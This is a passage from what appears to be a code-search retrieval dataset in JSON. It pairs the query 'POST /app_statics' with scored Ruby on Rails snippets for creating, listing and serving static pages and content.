"text": "def next_key\n @access_keys[current_index+1]\n end",
"title": ""
},
{
"docid": "dae49710ff59d774715742cc9817ee4a",
"score": "0.58933204",
"text": "def get_symbol(input)\n return nil if input == nil\n return input.intern\nend",
"title": ""
},
{
"docid": "3f33c2a2a2f9bcd71e2c46883caf4fd4",
"score": "0.5889817",
"text": "def next\n self + 1\n end",
"title": ""
},
{
"docid": "3f33c2a2a2f9bcd71e2c46883caf4fd4",
"score": "0.5889817",
"text": "def next\n self + 1\n end",
"title": ""
},
{
"docid": "3f33c2a2a2f9bcd71e2c46883caf4fd4",
"score": "0.5889817",
"text": "def next\n self + 1\n end",
"title": ""
},
{
"docid": "1ac52aec0cd1e4c0340dcb3a00d9ebd4",
"score": "0.5886592",
"text": "def get_sym(old = \"\")\n old = old.to_s.sub(/_:/, '')\n if old && self.has_key?(old)\n self[old]\n elsif !old.empty?\n @num += 1\n #puts \"allocate #{@prefix + (@num - 1).to_s} to #{old.inspect}\"\n self[old] = @prefix + (@num - 1).to_s\n else\n # Not referenced, just return a new unique value\n @num += 1\n #puts \"allocate #{@prefix + (@num - 1).to_s} to #{old.inspect}\"\n @prefix + (@num - 1).to_s\n end\n end",
"title": ""
},
{
"docid": "05423e986a7466c25522ca7589b82543",
"score": "0.5884318",
"text": "def next\n @next && @next.value\n end",
"title": ""
}
] |
54f3aa38348f9fce24958d43ef79eeac
|
POST /app_statics POST /app_statics.json
|
[
{
"docid": "3871bc3fc5bfe7ba040fc84ffe4e8bad",
"score": "0.68540627",
"text": "def create\n @app_static = AppStatic.new(app_static_params)\n\n respond_to do |format|\n if @app_static.save\n format.html { redirect_to @app_static, notice: 'App static was successfully created.' }\n format.json { render action: 'show', status: :created, location: @app_static }\n else\n format.html { render action: 'new' }\n format.json { render json: @app_static.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "d7a8069bd49fef40719ddf6888de8273",
"score": "0.65541446",
"text": "def index\n @statics = Static.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @statics }\n end\n end",
"title": ""
},
{
"docid": "3c83499333465b90cb9bfc6531d5dc50",
"score": "0.6389809",
"text": "def index\n @statics = Static.all\n end",
"title": ""
},
{
"docid": "fd485a6507e9f10d0f49ec17316662c5",
"score": "0.6303794",
"text": "def app_static_params\n params[:app_static]\n end",
"title": ""
},
{
"docid": "456259d8b4ede7afefcd537166c44306",
"score": "0.6208691",
"text": "def create\n admin_only\n @static = Static.new(static_params)\n\n respond_to do |format|\n if @static.save\n format.html { redirect_to @static, notice: 'Static was successfully created.' }\n format.json { render :show, status: :created, location: @static }\n else\n format.html { render :new }\n format.json { render json: @static.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d8984df5b84f0124feb9ee7ace5e288d",
"score": "0.59912485",
"text": "def create\n @static = Static.new(params[:static])\n\n respond_to do |format|\n if @static.save\n format.html { redirect_to @static, notice: 'Static was successfully created.' }\n format.json { render json: @static, status: :created, location: @static }\n else\n format.html { render action: \"new\" }\n format.json { render json: @static.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "36f2c1815e603ce92f2a30643c31001e",
"score": "0.5974373",
"text": "def create\n @static = Static.new(static_params)\n\n respond_to do |format|\n if @static.save\n format.html { redirect_to @static, notice: 'Static was successfully created.' }\n format.json { render :show, status: :created, location: @static }\n else\n format.html { render :new }\n format.json { render json: @static.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "82e1c5dbc0777af5840da034331d7a3b",
"score": "0.5838807",
"text": "def init\t\n\tenable :static\n\tset :statics_folder, 'statics'\n\tset :deep_or_flat_structure, 'flat'\n\n\tset :public_folder, settings.statics_folder\n\n\tset :page_pool, page_pool()\nend",
"title": ""
},
{
"docid": "0a15e227999625fe352941b0fde97694",
"score": "0.5807718",
"text": "def static_files; end",
"title": ""
},
{
"docid": "cb8e149c87e41980b4fdba9aa366a103",
"score": "0.57288605",
"text": "def static_params\n params.require(:static).permit(:page, :content)\n end",
"title": ""
},
{
"docid": "637c8d6bbfaaeeca6bd846b26af1a719",
"score": "0.57168126",
"text": "def set_app_static\n @app_static = AppStatic.find(params[:id])\n end",
"title": ""
},
{
"docid": "b7a72e917390be59ad55e8853241680e",
"score": "0.5655621",
"text": "def get_staticresources\n end",
"title": ""
},
{
"docid": "e16b17811ec81ca960db6e73368d97be",
"score": "0.5647301",
"text": "def set_static_response_data\n create_analysis_response(response_data: JSON.parse(File.read(Rails.root.join('public', 'example.json'))))\n end",
"title": ""
},
{
"docid": "0a519b253e66f29c41fcd3f9ad3082b5",
"score": "0.5592219",
"text": "def new\n @static = Static.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @static }\n end\n end",
"title": ""
},
{
"docid": "144229f76878e4bdba715431c818dc0a",
"score": "0.5581055",
"text": "def static_params\n params[:static]\n end",
"title": ""
},
{
"docid": "922e0f93c3a348d3a4a18c0d381feae6",
"score": "0.5569698",
"text": "def _roda_before_30__static_routing\n r = @_request\n r.hash_paths(r.request_method)\n r.hash_paths(:static_routing)\n end",
"title": ""
},
{
"docid": "0edf53d7e7e6588e540042b55a22d5d8",
"score": "0.54474",
"text": "def index\n @static_pages = StaticPage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @static_pages }\n end\n end",
"title": ""
},
{
"docid": "0edf53d7e7e6588e540042b55a22d5d8",
"score": "0.54474",
"text": "def index\n @static_pages = StaticPage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @static_pages }\n end\n end",
"title": ""
},
{
"docid": "aab2d2fc6c4e96609547bd31ad5d7898",
"score": "0.5429455",
"text": "def destroy\n @app_static.destroy\n respond_to do |format|\n format.html { redirect_to app_statics_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ebc126dd4d9412b7816544ced1e45ddc",
"score": "0.5381238",
"text": "def generate(site)\n json = {}\n blog = generate_blog(site)\n json.merge!(blog)\n json[:static_files] = generate_static_files(site)\n json[:projects] = generate_projects(site)\n json[:games] = generate_games(site)\n write_file(json)\n end",
"title": ""
},
{
"docid": "30664aba2633d0ad3994d0e5f9a69262",
"score": "0.537666",
"text": "def json_index_static_contents\n\n @static_contents = StaticContent.all\n respond_to do |format|\n\n format.json { render json: @static_contents }\n end\n end",
"title": ""
},
{
"docid": "5c263294cdc812d0eecf2371f240255f",
"score": "0.5272984",
"text": "def static! env\n filepath = %w{GET HEAD}.include?(env[REQ_METHOD]) &&\n asset(env[PATH_INFO])\n\n filepath ? (env[GIN_STATIC] = filepath) :\n env.delete(GIN_STATIC)\n\n !!env[GIN_STATIC]\n end",
"title": ""
},
{
"docid": "8a5a8ae3f1646ec43e31c2a461c83cca",
"score": "0.52680993",
"text": "def create\n @static_page = StaticPage.new(params[:static_page])\n @static_page.user = current_user\n respond_to do |format|\n if @static_page.save\n format.html { redirect_to @static_page, notice: 'Static page was successfully created.' }\n format.json { render json: @static_page, status: :created, location: @static_page }\n else\n format.html { render :new }\n format.json { render json: @static_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cef736cd6179abf71066fcd9df973ce1",
"score": "0.5251114",
"text": "def static_params\n params.require(:static_page).permit(:name, :contents,\n :custom_file,\n :custom_file_cache)\n end",
"title": ""
},
{
"docid": "1eac2ee8a10e078c5e897b3cc07f9ce3",
"score": "0.5206849",
"text": "def create\n @static_page = StaticPage.new(params[:static_page])\n\n respond_to do |format|\n if @static_page.save\n format.html { redirect_to @static_page, notice: 'Static page was successfully created.' }\n format.json { render json: @static_page, status: :created, location: @static_page }\n else\n format.html { render action: \"new\" }\n format.json { render json: @static_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1eac2ee8a10e078c5e897b3cc07f9ce3",
"score": "0.5206849",
"text": "def create\n @static_page = StaticPage.new(params[:static_page])\n\n respond_to do |format|\n if @static_page.save\n format.html { redirect_to @static_page, notice: 'Static page was successfully created.' }\n format.json { render json: @static_page, status: :created, location: @static_page }\n else\n format.html { render action: \"new\" }\n format.json { render json: @static_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "58b130aac38fa7c07ba75ff49bfd19bf",
"score": "0.51900953",
"text": "def index\n @static_contents = StaticContent.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @static_contents }\n end\n end",
"title": ""
},
{
"docid": "a67c29ab031c87f71daaf828558e4dce",
"score": "0.5187626",
"text": "def static_page_params\n params.fetch(:static_page, {})\n params.require(:static_page).permit(:about_us, :contact_us, :help, :sidebar, :home_block_one, :woofs_for_help, :event, :special_event, :foster, :donate, :adopt)\n end",
"title": ""
},
{
"docid": "516f3037bcbdeca5e8883f773d528767",
"score": "0.51874775",
"text": "def create\n @static_page = StaticPage.new(static_page_params)\n respond_to do |format|\n if @static_page.save\n format.html { redirect_to @static_page }\n format.json { render :show, status: :created, location: @static_page }\n else\n format.html { render :new }\n format.json { render json: @static_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "adf1c70522e827a7bd4cf1515bff9a0d",
"score": "0.5175104",
"text": "def set_static\n @static = Static.find(params[:id])\n end",
"title": ""
},
{
"docid": "adf1c70522e827a7bd4cf1515bff9a0d",
"score": "0.5175104",
"text": "def set_static\n @static = Static.find(params[:id])\n end",
"title": ""
},
{
"docid": "adf1c70522e827a7bd4cf1515bff9a0d",
"score": "0.5175104",
"text": "def set_static\n @static = Static.find(params[:id])\n end",
"title": ""
},
{
"docid": "208f465b3617cd219ca7cf11c51e2a7e",
"score": "0.51630664",
"text": "def splash()\n\t\[email protected]('/')\n\t\[email protected]('/var/widgets.json?callback=define')\n\t\[email protected]('/system/me?_charset_=utf-8')\n\t\[email protected]('/tags/directory.tagged.json?_charset_=utf-8&_=1342651726188')\n\t\[email protected]('/var/search/activity/all.json?items=12&_charset_=utf-8&_=1342651726197')\n\t\[email protected]('/var/search/public/random-content.json?page=0&items=10&tag=&type=c&_charset_=utf-8&_=1342651726201')\n\t\[email protected]('/var/templates/worlds.2.json?_charset_=utf-8')\n end",
"title": ""
},
{
"docid": "743e3f5b8ca638f9f4628e4dc3ef053e",
"score": "0.5158906",
"text": "def static_files=(_arg0); end",
"title": ""
},
{
"docid": "7d64c9434dcb97d1fcb815082226b145",
"score": "0.5139601",
"text": "def update\n respond_to do |format|\n if @app_static.update(app_static_params)\n format.html { redirect_to @app_static, notice: 'App static was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @app_static.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3807de9a732893fbc17e7102f2f7b736",
"score": "0.5108061",
"text": "def load_statics(doc,reference)\n reset\n path = imported_class_to_file_path(doc,reference)\n log_append( \"Processing #{reference} as static. #{path}\" )\n store_static_members( load_class(path) )\n end",
"title": ""
},
{
"docid": "904cccab7ae72297a2c2fe8cb7037c1e",
"score": "0.5099973",
"text": "def create\n\n params[:static_content][:name] = get_clean_name(params[:static_content][:name])\n\n @static_content = StaticContent.new(params[:static_content])\n\n respond_to do |format|\n if @static_content.save\n format.html { redirect_to @static_content, notice: 'Static content was successfully created.' }\n format.json { render json: @static_content, status: :created, location: @static_content }\n else\n format.html { render action: \"new\" }\n format.json { render json: @static_content.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "022e0a60da85d0e8132ec9b88dce4439",
"score": "0.5094277",
"text": "def create\n @rcadmin_static_page = Rcadmin::StaticPage.new(rcadmin_static_page_params)\n\n respond_to do |format|\n if @rcadmin_static_page.save\n\t\tflash[:notice] = 'Static page was successfully created.'\n format.html { redirect_to rcadmin_static_pages_url, notice: 'Static page was successfully created.' }\n format.json { render action: 'show', status: :created, location: @rcadmin_static_page }\n else\n format.html { render action: 'new' }\n format.json { render json: @rcadmin_static_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fab1811225fd2bd4cde32dd61c417f41",
"score": "0.5090433",
"text": "def get_static_assests\n types = LocationType.all\n facilities = Facility.all\n type_array = []\n facility_array = []\n types.each do |type|\n type_array << type.name\n end\n facilities.each do |facility|\n facility_array << facility.name\n end\n render json: { location_types: type_array, location_facilities: facility_array }\n end",
"title": ""
},
{
"docid": "8e140222d9cf82986346e590e81b8fdd",
"score": "0.5073155",
"text": "def staticresources( params={} )\n staticresources = get_connections(\"staticresources\", params)\n return map_connections staticresources, :to => Facebook::Graph::Generic\n end",
"title": ""
},
{
"docid": "d3b427f6f6a668799a9e5e3c2297d6ff",
"score": "0.50460935",
"text": "def call_static env\n with_log_request(env) do\n error_delegate.exec(self, env){ send_file env[GIN_STATIC] }\n end\n end",
"title": ""
},
{
"docid": "a5d5bc3e2736882aff8b0cc5d0d984a6",
"score": "0.50046843",
"text": "def create\n @static_content = StaticContent.new(static_content_params)\n\n respond_to do |format|\n if @static_content.save\n format.html { redirect_to @static_content, notice: \"Static content was successfully created.\" }\n format.json { render :show, status: :created, location: @static_content }\n else\n format.html { render :new }\n format.json { render json: @static_content.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "55fe784fa2c1d93f66ad2aa329f50c8c",
"score": "0.49873102",
"text": "def create\n @site = Site.new(site_params)\n @site.user_id = current_user.id\n\n if params[:site][:size_ids].present?\n sizesgroup = Size.find params[:site][:size_ids]\n @site.sizes = sizesgroup\n end\n\n respond_to do |format|\n if @site.save\n format.json { render :index, status: :created, location: @site }\n\t\t#format.json { head :no_content }\n\t\tformat.js\n else\n format.json { render json: @site.errors, status: :unprocessable_entity }\n\t\tformat.js { render 'shared/errors' }\n end\n end\n end",
"title": ""
},
{
"docid": "e59c8f69d483958f05930653dfce7d75",
"score": "0.4965982",
"text": "def init_static_statements\n statements = []\n @statics.map do |name|\n statements << Loader.static_policy(name)\n end\n statements.flatten!\n statements\n end",
"title": ""
},
{
"docid": "a7f757569a669dfa92f9ad79b6d03b7e",
"score": "0.49649298",
"text": "def index\n @rcadmin_static_pages = Rcadmin::StaticPage.all\n end",
"title": ""
},
{
"docid": "1fd3fcf44b7519b24a853081769911d1",
"score": "0.49576956",
"text": "def static_content_params\n params.require(:static_content).permit(:name, :data_type, :content)\n end",
"title": ""
},
{
"docid": "5f558aec4ecc2983be80ee4070d32ec8",
"score": "0.4917338",
"text": "def static_params\n params.require(:static).permit(:prev, :current, :next)\n end",
"title": ""
},
{
"docid": "690000f58105c980f6d7e8faf1113115",
"score": "0.49142188",
"text": "def create\n @static_annotations = StaticAnnotations.new(params[:static_annotations])\n\n respond_to do |format|\n if @static_annotations.save\n format.html { redirect_to(@static_annotations, :notice => 'StaticAnnotations was successfully created.') }\n format.xml { render :xml => @static_annotations, :status => :created, :location => @static_annotations }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @static_annotations.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0c644676bd2dc021387595578c59aa95",
"score": "0.48848018",
"text": "def app\n render json: {app_load: true}\n #@location_path = \"/#{params[:path]}\"\n end",
"title": ""
},
{
"docid": "a90e1c0ef1051e56d1e32239c37e1e1d",
"score": "0.48781314",
"text": "def index\n @pages = Static.all\n end",
"title": ""
},
{
"docid": "8fb6efefcff4801a8a6c527ca9669efb",
"score": "0.4875342",
"text": "def staticreq\n request.env['HTTP_USER_AGENT'] =~ /static/\n end",
"title": ""
},
{
"docid": "91dcbb7558f112553a99a006bae66026",
"score": "0.48746765",
"text": "def static_feed_params\n params.require(:static_feed).permit(:static_feed)\n end",
"title": ""
},
{
"docid": "ddcc867b939907c32ae9418213ec846d",
"score": "0.48727435",
"text": "def serve_static(env)\n env[Merb::Const::PATH_INFO] = ::Merb::Parse.unescape(env[Merb::Const::PATH_INFO])\n @static_server.call(env)\n end",
"title": ""
},
{
"docid": "c074b1ce182a207c21fdb465b8f572d1",
"score": "0.48720255",
"text": "def new\n @static_content = StaticContent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @static_content }\n end\n end",
"title": ""
},
{
"docid": "32b94326d2dccdeeff2326b902cf63f6",
"score": "0.48631382",
"text": "def update\n admin_only\n respond_to do |format|\n if @static.update(static_params)\n format.html { redirect_to @static, notice: 'Static was successfully updated.' }\n format.json { render :show, status: :ok, location: @static }\n else\n format.html { render :edit }\n format.json { render json: @static.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e7da6ff467f4a0cbe54e75f7cc682556",
"score": "0.48582214",
"text": "def set_static_includes\r\n @javascripts = [JS_SCRIPTACULOUS_SKOBEE_DEFAULT, JS_SKOBEE_PLANS, JS_DATEPICKER, JS_JSON]\r\n end",
"title": ""
},
{
"docid": "901aa1e9c67a52d7aadb734f24e5c4d1",
"score": "0.48580608",
"text": "def index\n @static_patterns = StaticPattern.all\n end",
"title": ""
},
{
"docid": "7668f91da8db1a12764db5b2de3b1f0b",
"score": "0.48576814",
"text": "def add_static_files(site, assets_dir)\n relative_assets_dir = assets_dir.relative_path_from(site.source).to_s\n vite_static_files = Dir.chdir(assets_dir.to_s) {\n Dir.glob('**/*').select { |f| File.file?(f) }\n }.map { |file|\n ViteAssetFile.new(site, site.source, relative_assets_dir, file)\n }\n site.static_files.concat(vite_static_files)\n end",
"title": ""
},
{
"docid": "efc3be7071b467520662aa8dad1fac81",
"score": "0.48487812",
"text": "def as_rack_app\n #routes = Rack::Mount::RouteSet.new_without_optimizations do |set|\n routes = Rack::Mount::RouteSet.new do |set|\n @set = set\n self.add_routes\n add_route %r{^.*$}, :action => \"render_static\"\n end\n return routes\n end",
"title": ""
},
{
"docid": "ccefee110f64c3a4d7c99778b25eba20",
"score": "0.48262292",
"text": "def create\n # @site_appraisal = SiteAppraisal.new(site_appraisal_params)\n @site_appraisal = current_user.site_appraisals.build(site_appraisal_params)\n\n respond_to do |format|\n if @site_appraisal.save\n format.html { redirect_to @site_appraisal, notice: \"Site appraisal was successfully created.\" }\n format.json { render :show, status: :created, location: @site_appraisal }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @site_appraisal.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a83a122b99c8b69ffe2556322c4ae519",
"score": "0.4824486",
"text": "def index(context)\n # context.request is an instance of Sinatra::Request\n params = context.request.params\n instance_variable_set(:\"@#{resource_name.pluralize}\", resource_name.classify.constantize.all)\n instance_variable_get(:\"@#{resource_name.pluralize}\").to_json\n end",
"title": ""
},
{
"docid": "3873aa414b5953f9777905bb1e2659eb",
"score": "0.48139542",
"text": "def static!(options = {})\n if path = static_file?(request.path_info)\n env['sinatra.static_file'] = path\n cache_control(*settings.static_cache_control) if settings.static_cache_control?\n send_file(path, options)\n end\n end",
"title": ""
},
{
"docid": "84e214cd2b9edd9cec777ca01f76697b",
"score": "0.48067218",
"text": "def run_collectstatic\n manage_py_execute('collectstatic', '--noinput') if new_resource.collectstatic\n end",
"title": ""
},
{
"docid": "89c3afcc4334a962ea3f633d49ad6fad",
"score": "0.48064193",
"text": "def index\n @api_javascripts = Api::Javascript.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @api_javascripts }\n end\n end",
"title": ""
},
{
"docid": "07283497362ecbc3b57466751ce2de08",
"score": "0.48059034",
"text": "def new\n @static_page = StaticPage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @static_page }\n end\n end",
"title": ""
},
{
"docid": "07283497362ecbc3b57466751ce2de08",
"score": "0.48059034",
"text": "def new\n @static_page = StaticPage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @static_page }\n end\n end",
"title": ""
},
{
"docid": "582084b9a957a290d88bf212b450873a",
"score": "0.4802874",
"text": "def static_page_params\n params.require(:static_page).permit(:page, :title, :content)\n end",
"title": ""
},
{
"docid": "8047b42db62c6e41a28dde569f408a0b",
"score": "0.48025104",
"text": "def create\n megam_rest.post_appdefn(to_hash)\n end",
"title": ""
},
{
"docid": "75afcf2f27365fc5f8ae89a3a72c8989",
"score": "0.47882095",
"text": "def index\n @static_pages = StaticPage.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @static_pages }\n end\n end",
"title": ""
},
{
"docid": "bf481d790bd360ebf0d08566cf80052a",
"score": "0.4787378",
"text": "def update\n respond_to do |format|\n if @static.update(static_params)\n format.html { redirect_to @static, notice: 'Static was successfully updated.' }\n format.json { render :show, status: :ok, location: @static }\n else\n format.html { render :edit }\n format.json { render json: @static.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2d0052b0959763a0ddfaa67fbfa5313b",
"score": "0.4785212",
"text": "def create\n @site = Site.new(params[:site])\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to sites_url, flash[:info]=\"Site was successfully created.\" }\n format.js { flash[:info]=\"Site was successfully created.\" }\n format.json { render json: @site, status: :created, location: @site }\n end\n end\n end",
"title": ""
},
{
"docid": "cbf6d07d14e6bb265c30446cc4670da4",
"score": "0.47816584",
"text": "def routes\n { :static => @route_ids, :dynamic => @dynamic }\n end",
"title": ""
},
{
"docid": "70e1eabbe52d1d46bb29e3562a4cf658",
"score": "0.4780589",
"text": "def show\n @static = Static.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @static }\n end\n end",
"title": ""
},
{
"docid": "40fd7420be7d4e90d7cac43a5007200b",
"score": "0.47771543",
"text": "def setup_static\n setup_adapters(phase: :static)\n end",
"title": ""
},
{
"docid": "c8a82624cbbc18c5d0c344df02e2351d",
"score": "0.47720796",
"text": "def path\n File.join(@base, '_static', @name)\n end",
"title": ""
},
{
"docid": "39e9e35ccd82152c9ba4304239ab74b6",
"score": "0.47660846",
"text": "def secure\n authorize :static, :secure?\n set_action_payload(\"Data from the StaticController#secure action\")\n end",
"title": ""
},
{
"docid": "8a0a703f483181b985d1116dc625bc55",
"score": "0.47653022",
"text": "def static_files_to_write\n static_files.select(&:write?)\n end",
"title": ""
},
{
"docid": "1c0c0c9067f60244d7d97ef7eea083c3",
"score": "0.476457",
"text": "def write_page_assets(site_dir)\n end",
"title": ""
},
{
"docid": "33fea170dc0aceb7dad72e562a096dbc",
"score": "0.47503892",
"text": "def index\n serialized = []\n Site.all.each do |site|\n attribute = format_site(site)\n serialized.push(attribute)\n end\n render(json:serialized)\n end",
"title": ""
},
{
"docid": "081827a3fac92a5cb2100229bcd62606",
"score": "0.47388378",
"text": "def json_reflect\n @content_type = 'text/plain'\n @render_nothing = true\n @rendered_template = true\n @current_layout = nil\n h = {}\n params.each do |x,y|\n h[x]=y\n end\n write_json h\n end",
"title": ""
},
{
"docid": "3077491f7fb19c8a4b698ce9f362ea8f",
"score": "0.47349018",
"text": "def create\n @static_page = StaticPage.new(params[:static_page])\n\n respond_to do |format|\n if @static_page.save\n format.html { redirect_to(@static_page, :notice => 'Static page was successfully created.') }\n format.xml { render :xml => @static_page, :status => :created, :location => @static_page }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @static_page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "60e09861d77b1e25b2fdc37d5080f467",
"score": "0.4722877",
"text": "def create\n @static_pattern = StaticPattern.new(static_pattern_params)\n\n respond_to do |format|\n if @static_pattern.save\n format.html { redirect_to @static_pattern, notice: 'New pattern was successfully created.' }\n format.json { render :show, status: :created, location: @static_pattern }\n else\n format.html { render :new }\n format.json { render json: @static_pattern.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2a1587c486641ef7bfcc7f7256001406",
"score": "0.47209328",
"text": "def created()\n # @@data is set up by app.html.rb\n Server.data = @@data\n end",
"title": ""
},
{
"docid": "7c373ba2b2f861efe04197dafa036cc1",
"score": "0.4686873",
"text": "def create\n @static_content = StaticContent.new(params[:static_content])\n\n if @static_content.save\n flash[:notice] = 'Content was successfully created.'\n redirect_to(root_url)\n else\n render :action => \"new\" \n end\n end",
"title": ""
},
{
"docid": "3a291d138b5bdae2ea9d4a72bda062e4",
"score": "0.4676348",
"text": "def set_client_app_initializers\n return unless request.format == 'html'\n @initializers = { soundcloud: { client_id: ENV['SOUND_CLOUD_CLIENT_ID'] } }\n end",
"title": ""
},
{
"docid": "15b6140d652690a23a6d160af94a5238",
"score": "0.46726385",
"text": "def static!\n if path = static_file?(request.path_info)\n send_file(path, :disposition => nil)\n end\n end",
"title": ""
},
{
"docid": "48929d3dd4b027fa2ef8d87d09c87a97",
"score": "0.46722677",
"text": "def create(url, data)\n RestClient.post ENV['APIBASE']+url, data, :content_type => :json\nend",
"title": ""
},
{
"docid": "160e76078b8205112baf158cdbfbd1ef",
"score": "0.4653032",
"text": "def get_static_services()\n\n @discovery_urls.each do |discovery_url|\n resource = \"/v1/announcement/static\"\n\n service_uri = URI.parse(discovery_url).merge(resource)\n\n @logger.debug(\"Get Request: #{service_uri.to_s}\")\n\n begin\n response = @client.get(service_uri.to_s, nil, nil)\n\n if response.status >= 200 && response.status <= 299\n return JSON.parse(response.body)\n end\n\n @logger.error(\"#{service_uri.to_s}: Response Status #{response.status}\")\n @logger.error(response.body)\n\n rescue\n @logger.error(\"#{service_uri.to_s}: #{$!}\")\n end\n\n end\n\n raise \"Failed to get static services from any of [ #{@discovery_urls.join(\",\")} ]\"\n end",
"title": ""
},
{
"docid": "c28e031e65ec09ba32de996c657bef00",
"score": "0.46499547",
"text": "def create\n @static_page = StaticPage.new(params[:static_page])\n\n respond_to do |format|\n if @static_page.save\n flash[:notice] = 'StaticPage was successfully created.'\n format.html { redirect_to(@static_page) }\n format.xml { render :xml => @static_page, :status => :created, :location => @static_page }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @static_page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "171ff0537372d3c37efffc3c80096cda",
"score": "0.46429837",
"text": "def write_file(post_data)\n File.open(\"public/post_data.txt\",\"w\") do |f| # open the user.json file in the /public directory (create if not present)\n f.write(post_data) # add the hash to the JSON file and save it\n end\nend",
"title": ""
},
{
"docid": "e32cb3f2cbcaabd0e1e4f4cdfa2b55cc",
"score": "0.46383727",
"text": "def create\n @site = Site.new(site_params)\n @site.user_id = current_user.id if current_user\n @site.member_id = current_member.id if current_member\n @site.typo = ['personal', 'business'].delete(params[:typo].to_s.downcase) || 'personal'\n\n respond_to do |format|\n if @site.save!\n if params[:typo] == 'business'\n @site.site_payment.price = ENV[\"PRICE_BUSINESS\"]\n @site.site_payment.save!\n end\n if @site.template.property == 'free'\n @site.set_free\n end\n #build site_page via template_page\n Templates::Page.where(template_id: @site.template_id).order(\"position ASC\").each do |temp_page|\n @site.site_pages.create(\n site_id: @site.id, \n template_page_id: temp_page.id,\n title: temp_page.title)\n end\n #add a comment\n SiteComment.create(site_id: @site.id, name: '维斗喜帖', content: '小维斗来过,提前送上一声祝福~')\n \n #send notice to admin\n # if Rails.env == 'production'\n # SmsSendWorker.perform_async(ENV['ADMIN_PHONE'].split('|').join(','), \"#{@site.user.try(:email) || @site.member.try(:auth_id)}创建了应用:#{get_site_url(@site)}\")\n # end\n #redirect\n format.html { redirect_to site_site_steps_path(@site), notice: t('notice.site.created') }\n format.json { render action: 'show', status: :created, location: @site }\n else\n format.html { render action: 'new' }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "92884a3eafc8742ade470da2ca596fae",
"score": "0.4636933",
"text": "def post_app_generate(application_id, type, opts={})\n # \n # default_options = {\n # \"name\" => \"\",\n # \"author\" => \"\",\n # \"description\" => \"\",\n # \"guid\" => \"\",\n # \"datasets\" => \"\",\n # \"env\" => \"prod\",\n # \"image_url\" => \"http://appresource.s3.amazonaws.com/apiappimages/missing_icard.jpg\",\n # \"runtime\" => \"\"\n # }\n # options = default_options.merge(opts)\n return post_response(\"app/#{application_id}/generate/#{type}\", opts,:json)\n end",
"title": ""
},
{
"docid": "f6e5c183741ed8756e21af93a31fdfc7",
"score": "0.4636325",
"text": "def create\n @app = App.new(app_params)\n\n if @app.save\n render json: @app, status: :created, location: @app\n else\n render json: @app.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "d127485ccc77b34cb5d43c18e9bb2472",
"score": "0.46350497",
"text": "def create\n @site = Site.new(site_params)\n respond_to do |format|\n if @site.save\n format.html { redirect_to user_path(@user), notice: 'サイトを作成しました' }\n format.json { render user_path(@user), status: :created, location: @site }\n else\n format.html { render :new }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b556fea4f3b70deb088c12fa14aa5227",
"score": "0.46307808",
"text": "def inc_static\n @static_count += 1\n end",
"title": ""
},
{
"docid": "7c7a7ab521a9aff434a292d5857c2c9c",
"score": "0.46287063",
"text": "def index\n @site_appraisals = SiteAppraisal.all\n end",
"title": ""
},
{
"docid": "3f4ed780f48372a0462fec1a7ff60223",
"score": "0.4618295",
"text": "def create\n megam_rest.post_appreq(to_hash)\n end",
"title": ""
},
{
"docid": "5229271a10db84ca6614694ea0ce26ed",
"score": "0.46152198",
"text": "def retrieve_static_files(dir, dot_static_files); end",
"title": ""
},
{
"docid": "ab123c80efa981550f5a77b0e5f3034d",
"score": "0.46140984",
"text": "def global_template_data\n {'site' => @site, '__design_id' => @design.id, '__site_id' => @site['id']}\n end",
"title": ""
},
{
"docid": "cd730222f05425e5ae81595ed81b0ba9",
"score": "0.4610764",
"text": "def site_data; end",
"title": ""
},
{
"docid": "35e578f13e165e0d1af2bd6fe4b2acce",
"score": "0.46102655",
